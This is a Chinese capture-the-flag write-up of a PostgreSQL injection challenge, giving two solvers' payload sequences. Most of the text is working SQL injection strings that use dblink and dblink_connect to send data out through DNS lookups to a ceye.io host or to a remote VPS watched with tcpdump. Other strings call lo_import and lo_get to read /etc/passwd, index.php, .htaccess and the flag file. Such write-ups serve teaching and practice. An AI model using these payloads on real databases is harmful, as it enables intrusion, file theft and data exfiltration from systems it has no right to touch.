点击此处获得更好的阅读体验
WriteUp来源
题目考点
- PostgreSQL注入
解题过程
官方WP
本题是根据fbctf2019的一题改编。
访问题目,提示我们只有手机才能访问,并且给出了判断的代码
来到一个新的页面
经分析,当前页面中所有内容均为静态页面,点击投票不会发送请求,但是我们从注释中找到一个接口。
我们输入下看看,发现没有其他变化。我们尝试一下sql注入
1 | game' and 1=0 --, 没有报错 |
我们发现当sql语句产生错误的时候才会弹出这个对话框
我们可以从pg_database没有报错看出是pgsql,pg_sleep也没有延时注入的痕迹,也没有回显,也无法盲注。但是pgsql支持dblink函数,既然没有回显,也没有盲注,我们看看能不能将消息外带。
我们尝试用DNS流量将信息外带出来,做一下尝试,成功接到,看来我们可以通过DNS流量获取我们所需要的信息。
1 | /?f=1' AND (SELECT a FROM dblink('host=xxx.xxx.ceye.io dbname=docker_db user=postgres password=tiger','SELECT 1') AS t1(a text))::text = ''--%20 |
获取一下数据库的信息
1 | /?f=1' AND (SELECT a FROM dblink('host='||(SELECT string_agg(schema_name,':') FROM information_schema.schemata)||'.xxx.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1') AS t1(a text))::text = ''--%20 |
获取表的信息
1 | /?f=1' AND (SELECT a FROM dblink('host='||(SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema())||'.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1') AS t1(a text))::text = ''--%20 |
后面发现表内没有数据,flag不在数据库中,那么应该是在文件中,需要我们去读取某个文件,我们先尝试利用lo_get这个函数读一下/etc/passwd
1 | /?f=1' AND (SELECT a FROM dblink('host='||(SELECT lo_import('/etc/passwd'))||'.xxx.xxx.ceye.io dbname=docker_db user=postgres password=game','SELECT 1') AS t1(a text))::text = ''--%20 |
得到其oid
成功读取前五位。现在我们已经可以做到任意读写文件了,接下来考虑一下应该读取哪个文件,我们观察这个页面。
发现所有的图片后缀都是tank,应该是把.tank后缀结尾的文件当jpg来解析了,看看存不存在.htacess文件,发现存在这个文件。先读一下这个.htacess文件,发现存在pushF1n4AnK文件,并解析成php文件,继续读取这个文件即可得到flag。
大佬WP by Ha1c9on
Postgresql注⼊
1 | import requests |
可以读到user=docker databasename = docker_db public searches 等数据,不过没啥⽤。
写oid
1 | f=ha1c9on' union select (select lo_import('/var/www/html/index.php')),'1' -- |
读oid
1 | f=ha1c9on' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(oid as text), ',') FROM pg_largeobject_metadata) || ' password=postgres dbname=postgres')) -- |
开启远程VPS
1 | sudo tcpdump -X -i eth0 port 5432 -v |
读⽂件,因为postgresql 会在空格或者换⾏的时候阶段,所以直接替换为空
1 | f=ha1c9on' UNION SELECT 1,(SELECT dblink_connect('host=IP port=5432 user=docker password=123456 dbname=docker_db'||(SELECT replace(substring(encode(lo_get(16441),'base64'),1,900),chr(10),'')))) -- |
尝试读文件.htaccess
1 | <FilesMatch "pushF1n4AnK"> |
读flag
1 | /?f=ha1c9on' union select (select lo_import('/var/www/html/pushF1n4AnK')),'1' -- |
Flag
1 | 无 |